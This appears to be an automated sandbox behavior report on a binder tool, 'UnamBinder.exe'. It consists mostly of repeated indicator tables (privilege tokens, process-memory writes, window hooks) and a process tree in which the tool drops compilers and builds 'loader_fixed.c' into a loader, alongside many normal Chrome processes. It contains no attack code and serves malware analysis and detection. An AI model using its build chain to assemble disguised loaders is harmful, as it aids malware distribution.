
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 64 IoCs

Processes:

chrome.exechrome.exe

pid	process
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

chrome.exeAUDIODG.EXE

description	pid	process
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: 33	1800	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1800	AUDIODG.EXE
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe

Suspicious use of FindShellTrayWindow 49 IoCs

Processes:

chrome.exechrome.exe

pid	process
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
6316	chrome.exe
6316	chrome.exe
6316	chrome.exe

Suspicious use of SendNotifyMessage 24 IoCs

Processes:

chrome.exe

pid	process
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe

Suspicious use of SetWindowsHookEx 25 IoCs

Processes:

UnamBinder.exechrome.exe

pid	process
3948	UnamBinder.exe
3948	UnamBinder.exe
3948	UnamBinder.exe
3948	UnamBinder.exe
3948	UnamBinder.exe
3948	UnamBinder.exe
3948	UnamBinder.exe
3948	UnamBinder.exe
3948	UnamBinder.exe
3948	UnamBinder.exe
3948	UnamBinder.exe
3948	UnamBinder.exe
3948	UnamBinder.exe
3948	UnamBinder.exe
3948	UnamBinder.exe
3948	UnamBinder.exe
3948	UnamBinder.exe
3948	UnamBinder.exe
7984	chrome.exe
7984	chrome.exe
7984	chrome.exe
7984	chrome.exe
7984	chrome.exe
7984	chrome.exe
7984	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrome.exe

description	pid	process	target process
PID 748 wrote to memory of 3776	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3776	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 3216	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 4312	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 4312	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe
PID 748 wrote to memory of 1956	748	chrome.exe	chrome.exe

C:\Users\Admin\AppData\Local\Temp\UnamBinder.exe
"C:\Users\Admin\AppData\Local\Temp\UnamBinder.exe"
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:3948

C:\Windows\SYSTEM32\cmd.exe
"cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\Compilers\MinGW64\bin\windres.exe" --input resource.rc --output resource.o -O coff -F pe-i386
2⤵
PID:6640

C:\Users\Admin\AppData\Local\Temp\Compilers\MinGW64\bin\windres.exe
C:\Users\Admin\AppData\Local\Temp\Compilers\MinGW64\bin\windres.exe --input resource.rc --output resource.o -O coff -F pe-i386
3⤵
- Executes dropped EXE
PID:7596

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Compilers\MinGW64\bin\gcc" -E -xc -DRC_INVOKED resource.rc
4⤵
PID:5400

C:\Users\Admin\AppData\Local\Temp\Compilers\MinGW64\bin\gcc.exe
C:\Users\Admin\AppData\Local\Temp\Compilers\MinGW64\bin\gcc -E -xc -DRC_INVOKED resource.rc
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4832

C:\Users\Admin\AppData\Local\Temp\Compilers\MinGW64\libexec\gcc\x86_64-w64-mingw32\4.9.2\cc1.exe
"C:/Users/Admin/AppData/Local/Temp/Compilers/MinGW64/bin/../libexec/gcc/x86_64-w64-mingw32/4.9.2/cc1.exe" "-E" "-quiet" "-iprefix" "C:/Users/Admin/AppData/Local/Temp/Compilers/MinGW64/bin/../lib/gcc/x86_64-w64-mingw32/4.9.2/" "-D_REENTRANT" "-D" "RC_INVOKED" "resource.rc" "-mtune=generic" "-march=x86-64"
6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6096

C:\Users\Admin\AppData\Local\Temp\Compilers\tinycc\tcc.exe
"C:\Users\Admin\AppData\Local\Temp\Compilers\tinycc\tcc.exe" -Wall -Wl,-subsystem=windows "C:\Users\Admin\AppData\Local\Temp\loader_fixed.c" resource.o -luser32 -lshell32 -m32
2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4648

C:\Windows\SYSTEM32\cmd.exe
"cmd" cmd /c "C:\Users\Admin\Desktop\Compilers\MinGW64\bin\windres.exe" --input resource.rc --output resource.o -O coff -F pe-i386
2⤵
PID:7336

C:\Users\Admin\Desktop\Compilers\MinGW64\bin\windres.exe
C:\Users\Admin\Desktop\Compilers\MinGW64\bin\windres.exe --input resource.rc --output resource.o -O coff -F pe-i386
3⤵
- Executes dropped EXE
PID:7456

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Desktop\Compilers\MinGW64\bin\gcc" -E -xc -DRC_INVOKED resource.rc
4⤵
PID:7296

C:\Users\Admin\Desktop\Compilers\MinGW64\bin\gcc.exe
C:\Users\Admin\Desktop\Compilers\MinGW64\bin\gcc -E -xc -DRC_INVOKED resource.rc
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3960

C:\Users\Admin\Desktop\Compilers\MinGW64\libexec\gcc\x86_64-w64-mingw32\4.9.2\cc1.exe
"C:/Users/Admin/Desktop/Compilers/MinGW64/bin/../libexec/gcc/x86_64-w64-mingw32/4.9.2/cc1.exe" "-E" "-quiet" "-iprefix" "C:/Users/Admin/Desktop/Compilers/MinGW64/bin/../lib/gcc/x86_64-w64-mingw32/4.9.2/" "-D_REENTRANT" "-D" "RC_INVOKED" "resource.rc" "-mtune=generic" "-march=x86-64"
6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:7588

C:\Users\Admin\Desktop\Compilers\tinycc\tcc.exe
"C:\Users\Admin\Desktop\Compilers\tinycc\tcc.exe" -Wall -Wl,-subsystem=windows "C:\Users\Admin\Desktop\loader_fixed.c" resource.o -luser32 -lshell32 -m32
2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2244

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:748

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffadfddab58,0x7ffadfddab68,0x7ffadfddab78
2⤵
PID:3776

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1704 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:2
2⤵
PID:3216

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1952 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:8
2⤵
PID:4312

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2164 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:8
2⤵
PID:1956

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3108 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:2772

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3116 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:3324

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4364 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:5056

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3940 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:8
2⤵
PID:4940

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4648 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:8
2⤵
PID:1292

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4536 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:8
2⤵
PID:5372

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4940 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:8
2⤵
PID:5432

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5084 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:8
2⤵
PID:5472

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=4968 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:5736

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=4560 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:5832

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=4728 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:3848

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=4660 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:5312

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=4048 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:1880

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3272 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:8
2⤵
PID:5712

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4440 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:8
2⤵
PID:5232

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --mojo-platform-channel-handle=4692 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:5492

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --mojo-platform-channel-handle=5400 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:5420

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --mojo-platform-channel-handle=5536 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:5472

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --mojo-platform-channel-handle=5576 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:5528

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --mojo-platform-channel-handle=5728 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:5444

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --mojo-platform-channel-handle=5968 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:5464

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --mojo-platform-channel-handle=5980 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:5384

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --mojo-platform-channel-handle=6280 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:5392

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --mojo-platform-channel-handle=6316 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:5412

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --mojo-platform-channel-handle=6444 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:5404

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --mojo-platform-channel-handle=6452 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:3088

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --mojo-platform-channel-handle=6468 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:5432

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --mojo-platform-channel-handle=6492 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:5456

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --mojo-platform-channel-handle=5572 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:4564

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --mojo-platform-channel-handle=7264 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:3040

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --mojo-platform-channel-handle=7284 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:3924

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --mojo-platform-channel-handle=7624 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:6200

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --mojo-platform-channel-handle=7136 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:6680

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --mojo-platform-channel-handle=7556 --field-trial-handle=1652,i,3121810319418618430,6168922978565998340,131072 /prefetch:1
2⤵
PID:6692

C:\Program Files\Google\Chrome\Application\chrome.exe
